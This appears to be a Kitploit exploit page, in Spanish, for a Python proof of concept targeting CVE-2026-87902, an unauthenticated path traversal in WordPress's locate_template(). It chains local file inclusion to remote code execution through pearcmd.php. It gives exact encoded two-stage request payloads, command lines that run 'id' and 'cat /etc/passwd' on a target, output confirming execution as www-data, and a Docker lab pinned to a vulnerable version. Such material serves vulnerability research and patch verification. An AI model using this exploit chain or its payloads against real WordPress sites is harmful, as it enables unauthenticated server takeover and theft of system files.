CVE-2026-87902 — PoC en Python que explota CVE-2026-87902, un path traversal no autenticado en locate_template() de WordPress que conduce a LFI y RCE basado en PEAR, con modo de detección segura. | Kitploit


CVE	CVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High)
Advisory	GHSA-7hp8-65ch-5whp
Afectadas	WordPress 4.7.0 – 7.1.1 (todas las branches)
Fix	7.1.2, 7.0.6, 6.9.9 … 4.7.37
Fix commit	`5fde0bb7b9775523959094bf280cc54bfa78af51` (merge del changeset 63792)
Archivos	`wp-includes/template.php` (`get_page_template()`, `locate_template()`, `_wp_is_template_path_allowed()`)
Autenticación	Ninguna — ningún usuario, cookie, nonce o plugin
Créditos	Descubrimiento y disclosure: Robert Ressl

// get_page_template(): decode TARDE, sin validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
    $templates[] = "page-{$pagename_decoded}.php";
}

// locate_template(): solo prueba existencia — ningún confinamiento de ruta
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
    $located = $wp_stylesheet_path . '/' . $template_name;
    break;
}

if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) {   // realpath + confinamiento
    $located = $candidate;                            // dentro de tema/parent/theme-compat
    break;
}

#	Precondición	Motivo
1	Página publicada, accesible anónimamente, seleccionable por `page_id` y sin custom template	La petición debe resolver a una Page; un template custom vendría antes en la jerarquía
2	Directorio top-level en el tema activo (child o parent) que empiece con `page-` (ej.: `page-templates/`)	WP antepone el prefijo fijo `page-`; es por él que entra el traversal. Basta con que exista y sea traversable (puede estar vacío). Presente en Twenty Twelve/Fourteen, Neve, Hestia, Sydney
3	Objetivo `.php` local existente y legible	El loader agrega `.php` y verifica `is_file()`/`is_readable()`
4	(solo p/ RCE) `pearcmd.php` legible + `register_argc_argv=On` + directorio escribible (ej.: `/tmp`)	Ruta PEAR→RCE: `config-create` escribe el payload PHP en el servidor

Petición	`pagename`	Respuesta esperada (vulnerable)
A — baseline	—	200, cuerpo normal (~23 KB)
B — control	traversal → archivo inexistente	200, cuerpo normal (fallback `page.php`)
C — probe	traversal → `wp-content/index.php` ("Silence is golden")	200 con cuerpo vacío

Etapa 1  POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
           body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
           → el traversal incluye /usr/local/lib/php/pearcmd.php
           → argv viene de la query string cruda (register_argc_argv=On)
           → config-create ESCRIBE el payload en /tmp/wp-pear-rce.php (12 copias serializadas)

Etapa 2  POST /  body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
           → el mismo traversal incluye el archivo generado → system(<--command>) corre como www-data

# 1) Solo validar la vulnerabilidad (LFI probe, sin escritura)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only

# 2) Detección + RCE ejecutando un comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"

# Combinaciones útiles
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose

Parámetro	Default	Descripción
`--url`, `-u`	(obligatorio)	URL base de WordPress
`--command`, `-c`	`id`	Comando shell ejecutado en el objetivo (ignorado con `--validate-only`)
`--validate-only`	off	Solo valida la vulnerabilidad (LFI, se detiene antes del RCE/escritura)
`--page-id`	auto (REST, fallback probe)	ID de página publicada sin custom template
`--theme-dir`	prueba `page-templates`, `page-template`	Directorio top-level del tema que empieza con `page-`
`--probe-target`	`index`	Objetivo del probe de detección, sin `.php` (`index` → `wp-content/index.php`)
`--depth`	0 (recorre 1–12)	Nº de segmentos `../`
`--pear-path`	prueba lista interna	`pearcmd.php` de la etapa RCE, sin `.php` (Docker, Debian, XAMPP)
`--output`	`/tmp/wp-pear-rce`	Destino escribible del payload del PEAR, sin `.php`
`--timeout`	`20`	Timeout por petición (s)
`--insecure`	off	No verificar certificado TLS
`--verbose`	off	Salida detallada por intento

[*] alvo          : http://127.0.0.1:8080
[*] comando       : 'id'
[*] versão WP     : 7.1.1  (<= 7.1.1 => potencialmente afetada)
[*] page id       : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo          : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir     : page-templates
[+] depth          : 3
[+] traversal      : page-templates/../../../index.php
[+] VULNERÁVEL     : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo          : RCE (2 estágios via pearcmd.php)
[+] theme dir     : page-templates
[+] depth          : 7
[+] pearcmd        : /usr/local/lib/php/pearcmd.php
[+] payload file   : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando        : 'id'
[+] saída          :
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web

services:
  db:
    image: mariadb:11
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wp_user
      MYSQL_PASSWORD: wp_pass
      MYSQL_ROOT_PASSWORD: root_pass
    volumes:
      - db_data:/var/lib/mysql

  wordpress:
    image: wordpress:7.1.1-php8.3-apache   # PINADA — a rolling baixa 7.1.2+ (patcheada!)
    depends_on:
      - db
    restart: always
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wp_user
      WORDPRESS_DB_PASSWORD: wp_pass
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wp_data:/var/www/html
      # fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
      - ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates

volumes:
  db_data:
  wp_data:

docker compose up -d

# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
  -e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
  -e WORDPRESS_DB_NAME=wordpress `
  wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
  --admin_user=admin --admin_password=adminadmin [email protected] --skip-email

# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"

# Teardown
docker compose down -v

CVE-2026-87902

Más Populares

1. La vulnerabilidad

Cadena de explotación (código del repositorio)

Precondiciones

2. Qué hace el script

Etapa 1 — detección segura (siempre corre primero)

Etapa 2 — RCE vía `pearcmd.php` (escritura)

3. Uso

Parámetros

Salida esperada en el lab

4. Lab (Docker)

5. Limitaciones y nota para defensores

6. Referencias

Aviso legal